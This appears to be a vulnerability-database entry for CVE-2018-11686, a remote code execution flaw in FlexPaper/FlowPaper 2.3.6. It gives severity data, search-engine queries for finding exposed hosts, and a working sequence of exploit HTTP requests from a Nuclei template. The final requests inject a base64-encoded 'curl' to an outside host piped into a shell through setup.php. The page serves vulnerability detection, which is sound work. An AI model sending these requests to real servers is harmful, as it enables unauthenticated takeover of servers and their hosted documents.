🔙 목록으로 돌아가기

CVE-2018-11686: FlexPaper/FlowPaper 2.3.6 - Remote Code Execution

TitleFlexPaper/FlowPaper 2.3.6 - Remote Code Execution
Authoriamnoooob,pdresearch,pszyszkowski
SeverityCritical
ImpactUnauthenticated attackers can execute arbitrary code on the server through the Publish Service, leading to complete server compromise and access to all hosted documents.
RemediationUpgrade to FlowPaper version 2.3.7 or later, or remove the vulnerable Publish Service.
CVSS Score9.8
EPSS Score0.92639
CVE IDCVE-2018-11686
CWE IDCWE-20
Shodan Querytitle:"FlexPaper"
Fofa Querytitle="FlexPaper"
Tags cve cve2018 flexpaper flowpaper rce vkev vuln

🔍 Vulnerability Description

The Publish Service in FlexPaper (later renamed FlowPaper) 2.3.6 allows remote code execution via setup.php and change_config.php.

🌐 HTTP Request

POST /php/change_config.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Content-Length: 35
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

SAVE_CONFIG=1&SWF_Directory=config/

POST /php/change_config.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Connection: close
Content-Length: 35
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

SAVE_CONFIG=1&SWF_Directory=config/

GET /php/setup.php?step=4&PDF2SWF_PATH=echo+Y3VybCBvYXN0LnBybw==+%7C+base64+-d+%7C+sh+%3Econfig/output.txt%3B HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.6.7
Connection: close
Accept-Encoding: gzip

GET /php/config/output.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-11686.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-11686.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A